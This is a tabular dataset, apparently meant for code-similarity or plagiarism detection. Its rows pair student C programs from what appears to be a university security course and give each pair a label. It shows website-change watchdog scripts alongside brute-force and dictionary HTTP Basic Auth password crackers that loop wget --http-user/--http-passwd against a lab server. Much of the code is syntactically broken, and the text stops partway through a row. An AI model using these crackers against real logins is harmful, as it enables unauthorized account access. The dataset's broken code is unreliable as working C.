F1
stringlengths 5
5
| F2
stringlengths 5
5
| text_1
stringlengths 474
8.26k
| text_2
stringlengths 474
8.26k
| label
int64 0
1
|
---|---|---|---|---|
058.c | 066.c | #include<stdio.h>
#include<stdlib.h>
#include<ctype.h>
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir Images");
if((fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"))==NULL)
{
system("cd www.cs.rmit.edu./images | ls > /home/s//SECAS02ANS/Images/file.txt");
system("md5sum www.cs.rmit.edu./images/*.* > /home/s//SECAS02ANS/Images/file.txt");
fclose(fp);
exit(0);
}
else
{
fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r");
system("cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt");
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images");
fclose(fp);
}
system("mkdir Text");
if((fp=fopen("/home/s//SECAS02ANS/Text/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
exit(0);
}
else
{
fopen("/home/s//SECAS02ANS/Text/index.html","r");
system("diff /home/s//SECAS02ANS/Text/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("mv www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
fclose(fp);
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
|
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int ()
{
int cntr=0;
char get[96];
char username[]="";
char password[16];
int R_VALUE;
double time_used;
clock_t , end;
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
= clock();
while ( fscanf(fp,"%s",&password) != EOF )
{
if(strlen(password)>3) continue;
cntr++;
printf("%d >> PASSWORD SEND : %s \n",cntr, password);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
R_VALUE=system(get);
if(R_VALUE==0)
{
printf("The Password has been cracked and it is : %s" , password);
exit(0);
}
}
end = clock();
time_used = ((double) (end - )) / CLOCKS_PER_SEC;
printf("time_used = %f\n", time_used);
}
| 0 |
058.c | 026.c | #include<stdio.h>
#include<stdlib.h>
#include<ctype.h>
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir Images");
if((fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"))==NULL)
{
system("cd www.cs.rmit.edu./images | ls > /home/s//SECAS02ANS/Images/file.txt");
system("md5sum www.cs.rmit.edu./images/*.* > /home/s//SECAS02ANS/Images/file.txt");
fclose(fp);
exit(0);
}
else
{
fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r");
system("cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt");
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images");
fclose(fp);
}
system("mkdir Text");
if((fp=fopen("/home/s//SECAS02ANS/Text/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
exit(0);
}
else
{
fopen("/home/s//SECAS02ANS/Text/index.html","r");
system("diff /home/s//SECAS02ANS/Text/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("mv www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
fclose(fp);
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
|
#include <stdio.h>
#include <sys/time.h>
#include <strings.h>
#include <stdlib.h>
#include <ctype.h>
int ()
{
FILE *fileopen;
char *t_tst,chk[6];
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir original");
system("mv www.cs.rmit.edu./images/*.* original/");
system("mv www.cs.rmit.edu./students/*.* original/");
sleep(75);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* fresh/");
system("mv www.cs.rmit.edu./students/*.* fresh/");
system("diff one two > image_dif.txt");
fileopen = fopen("imagedif.txt","r");
t_tst = fgets(chk, 6, fileopen);
if (strlen(chk) != 0)
system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt");
return 0;
}
| 0 |
058.c | 067.c | #include<stdio.h>
#include<stdlib.h>
#include<ctype.h>
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir Images");
if((fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"))==NULL)
{
system("cd www.cs.rmit.edu./images | ls > /home/s//SECAS02ANS/Images/file.txt");
system("md5sum www.cs.rmit.edu./images/*.* > /home/s//SECAS02ANS/Images/file.txt");
fclose(fp);
exit(0);
}
else
{
fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r");
system("cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt");
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images");
fclose(fp);
}
system("mkdir Text");
if((fp=fopen("/home/s//SECAS02ANS/Text/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
exit(0);
}
else
{
fopen("/home/s//SECAS02ANS/Text/index.html","r");
system("diff /home/s//SECAS02ANS/Text/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("mv www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
fclose(fp);
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main ()
{
FILE *fp;
char s[300] , ptr[20];
system("rm *.html* ");
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html First.html");
system("sleep 10");
system("wget http://www.cs.rmit.edu./students/ ");
system("diff First.html index.html > difference.txt" );
fp=fopen("difference.txt","r");
if(fgets(ptr,30,fp))
{
system( "mailx -s \"Changes were detected \" < difference.txt ");
}
else
printf(" were changes detected");
return 0;
}
| 0 |
058.c | 024.c | #include<stdio.h>
#include<stdlib.h>
#include<ctype.h>
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir Images");
if((fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"))==NULL)
{
system("cd www.cs.rmit.edu./images | ls > /home/s//SECAS02ANS/Images/file.txt");
system("md5sum www.cs.rmit.edu./images/*.* > /home/s//SECAS02ANS/Images/file.txt");
fclose(fp);
exit(0);
}
else
{
fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r");
system("cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt");
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images");
fclose(fp);
}
system("mkdir Text");
if((fp=fopen("/home/s//SECAS02ANS/Text/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
exit(0);
}
else
{
fopen("/home/s//SECAS02ANS/Text/index.html","r");
system("diff /home/s//SECAS02ANS/Text/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("mv www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
fclose(fp);
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int a=0,b=0,c=0,d,e,count=0;
char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];
char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;
int ,end,t;
= time();
while(sizeof(lc)!=52)
{
temp2[0]=lc[d];
temp2[1]='\0';
d=d+1;
strcpy(p,temp2);
while(sizeof(uc)!=52)
{
temp3[0]=uc[b];
temp3[1]='\0';
b=b+1;
strcpy(q,p);
strcat(q,temp3);
for(e=0;e<52;e++)
{
temp1[0]=gc[e];
temp1[1]='\0';
strcpy(r,q);
strcat(r,temp1);
strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
strcat(mx,r);
printf("temp3=%s\n",mx);
if(system(mx)==0)
{
printf("Password=%s\n",mx);
printf("%d \n",count);
end = time();
t = (end -);
t /= 1000000000.0;
printf("The total time_var taken is:%llds\n",t);
exit(1);
}
}
}
}
return 0;
}
| 0 |
058.c | 009.c | #include<stdio.h>
#include<stdlib.h>
#include<ctype.h>
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir Images");
if((fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r"))==NULL)
{
system("cd www.cs.rmit.edu./images | ls > /home/s//SECAS02ANS/Images/file.txt");
system("md5sum www.cs.rmit.edu./images/*.* > /home/s//SECAS02ANS/Images/file.txt");
fclose(fp);
exit(0);
}
else
{
fp=fopen("/home/s//SECAS02ANS/Images/file.txt","r");
system("cd www.cs.rmit.edu./images | ls > www.cs.rmit.edu./file.txt");
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff /home/s//SECAS02ANS/Images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("mv www.cs.rmit.edu./file.txt /home/s//SECAS02ANS/Images");
fclose(fp);
}
system("mkdir Text");
if((fp=fopen("/home/s//SECAS02ANS/Text/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
exit(0);
}
else
{
fopen("/home/s//SECAS02ANS/Text/index.html","r");
system("diff /home/s//SECAS02ANS/Text/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("mv www.cs.rmit.edu./students/index.html /home/s//SECAS02ANS/Text");
fclose(fp);
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
int main()
{
char *wordptr = " word";
FILE *fp;
int syst = 1;
char string1[80], string2[50];
strcpy(string1, "wget --http-user= --http-passwd=");
strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
char words[30];
fp = fopen("words", "r");
while(wordptr != NULL)
{
wordptr = fgets(words, 30, fp);
if (wordptr == NULL) exit(1);
words [ strlen(words) - 1 ] = '\0';
strcat(string1, words);
strcat(string1, string2);
printf("\n %s \n",string1);
syst = system(string1);
if (syst == 0)
{
exit(1);
}
strcpy(string1, "");
strcpy(string1, "wget --http-user= --http-passwd=");
printf("%s", words);
}
}
| 0 |
033.c | 070.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
|
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int (int argc, char *argv[])
{
FILE *fp;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("mkdir data");
if((fp=fopen("./data/index.html","r"))==NULL)
{
system("cp www.cs.rmit.edu./students/index.html ./data");
}
else
{
system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./students/index.html ./data");
}
system("mkdir images");
if((fp=fopen("./images/file.txt","r"))==NULL)
{
system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");
}
else
{
system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");
system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");
system("cp www.cs.rmit.edu./file.txt ./images");
}
sleep(86400);
}
return (EXIT_SUCCESS);
}
| 0 |
033.c | 000.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| 0 |
033.c | 023.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| 0 |
033.c | 076.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);
char* initPasswdStr(int len, char ch);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd);
int ()
{
char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',
'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
char charSetS[] = {'A', 'B', 'C'};
int i;
for (i=1; i<=MAX_PASSWD_LEN; i++)
{
if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))
{
return 0;
}
}
printf("\n...password not found\n");
return 0;
}
int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)
{
int iter;
int chIter;
int curPos = 0;
char *str;
int passwdFound = FALSE;
str = initPasswdStr(len, chSet[0]);
printf("\nNow trying %d character(s)\n", len);
for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)
{
for (chIter=len-1; chIter>=0; chIter--)
{
if (iter % pow(numOfCh, chIter) == 0)
{
curPos = getChPos(chSet, numOfCh, str[chIter]);
str[chIter] = chSet[curPos+1];
}
if (iter % pow(numOfCh, (chIter+1)) == 0)
{
str[chIter] = chSet[0];
}
}
if (func(USERNAME, str))
{
printf("\nPassword found: %s\n", str);
passwdFound = TRUE;
}
printf(".");
}
(str);
str = NULL;
return passwdFound;
}
int getChPos(const char chSet[], int numOfCh, char ch)
{
int i;
for (i=0; i<numOfCh; i++)
{
if (chSet[i] == ch)
{
return i;
}
}
return -1;
}
char* initPasswdStr(int len, char ch)
{
int i;
char *str;
str = malloc(len);
if (str)
{
for (i=0; i<len; i++)
{
str[i] = ch;
}
str[len] = '\0';
}
else
{
fprintf(stderr, "\nError: Unable allocate %d bytes memory.");
exit(1);
}
return str;
}
int pow(int x, int y)
{
int ans = 1, i;
for (i=0; i<y; i++)
{
ans *= x;
}
return ans;
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[256];
struct stat fileInfo;
sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("", &fileInfo);
return fileInfo.st_size;
}
| 0 |
033.c | 053.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>
int ()
{
int m,n,o,i;
char URL[255];
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};
time_t u1,u2;
(void) time(&u1);
strcpy(temp1,"wget --http-user= --http-passwd=");
strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
for(m=0;m<=51;m++)
{
v[0]=[m];
v[1]='\0';
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
for(n=0;n<=51;n++)
{
v[0]=[m];
v[1]=[n];
v[2]='\0';
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
for(o=0;o<=51;o++)
{
v[0]=[m];
v[1]=[n];
v[2]=[o];
strcpy(URL,v);
printf("\nTesting with password %s\n",URL);
strcat(temp3,temp1);
strcat(temp3,URL);
strcat(temp3,temp2);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",URL);
printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
}
}
}
}
| 0 |
033.c | 045.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
int ()
{
int t1, t2, t;
int timeinsec, nofattempts;
char url[100], url1[80];
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
char word[15], *chk;
chk = "word";
FILE *fp;
int syst = 1;
fp = fopen("words", "r");
t1 = time();
while(chk != NULL)
{
chk = fgets(word, 15, fp);
if (chk == NULL) exit(1);
word [ strlen(word) - 1 ] = '\0';
strcat(url, word);
strcat(url, url1);
nofattempts = nofattempts + 1;
printf("\n %s %d\n",word,nofattempts);
if (strlen(word) == 3)
syst = system(url);
if (syst == 0)
{
t2 = time();
t = t2 - t1;
timeinsec = t/1000000000;
printf("\n !!! here's the passowrd:- %s",word);
printf("\n Total .of atempts: %d\n",nofattempts);
printf("\n The total time_var taken: %d seconds", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
| 0 |
033.c | 031.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9
int ()
{ int startTime, stopTime, final;
int i,j,k;
FILE* fp;
int pass,len;
int count = 0;
char [50];
char url1[100];
char url2[100];
startTime = time();
fp = fopen("/usr/share/lib/dict/words","r");
while (fp !='\0')
{
fgets( ,50,fp);
len = strlen();
[strlen()-1] ='\0';
if(len <= 4)
{
count++;
printf("Checking for the word :%s\n",);
strcpy(url1 ,"wget --http-user= --http-passwd=");
strcat(url1,);
strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
strcat(url1,url2);
pass = system(url1);
if (pass == 0)
{
stopTime = time();
final = stopTime-startTime;
printf("\n SUCCESS\n");
printf("The password for the user : %s\n ",);
printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
printf("Number of attempts : %d\n",count);
exit(1);
}
}
}
}
| 0 |
033.c | 059.c |
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
#define OneBillion 1e9
int (){
int i=65,j=65,k=65,count=0,res=1;
char arry[3],send[100];
int startTime, stopTime, final;
startTime = time();
for(i;i<123;i++){
if(i<91 || i>96){
arry[0]=i;
j=65;
for(j;j<123;j++){
if(j<91 || j>96){
arry[1]=j;
k=65;
for(k;k<123;k++){
if(k<91 || k>96){
arry[2]=k;
arry[3]='\0';
strcpy(send,"wget --http-user= --http-passwd=");
strcat(send,arry);
strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
count++;
if((res=(system(send)) == 0)) {
stopTime = time();
final = stopTime-startTime;
printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",arry,(double)final/OneBillion,count);
exit(1);
}
}
}
}
}
}
}
printf("\npassword not found\n");
exit(1);
}
| #include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MINSIZE 26
#define MAXSIZE 52
#define MAX_SIZE 255
int CrackPasswd(char *passwd)
{
int flag;
char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE];
strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
strcpy(string2," --http-user= --http-passwd='");
strcpy(,"");
strcat(, string1);
strcat(, string2);
strcat(, passwd);
strcat(, "'");
printf("Sending Request as %s\n",);
flag = system();
if (flag == 0)
{
printf("\nPassword is %s\n",passwd);
return 1;
}
strcpy(,"");
return 0;
}
int BruteForce(char *CharArray)
{
int i, j, k;
char passwd[MAX_SIZE];
for (i=0;i<MAX_SIZE;i++)
passwd[i] = '\0';
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
if(CrackPasswd(passwd) == 1)
return 1;
}
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
for(j=0;j<MAXSIZE;j++)
{
passwd[1] = CharArray[j];
if(CrackPasswd(passwd) == 1)
return 1;
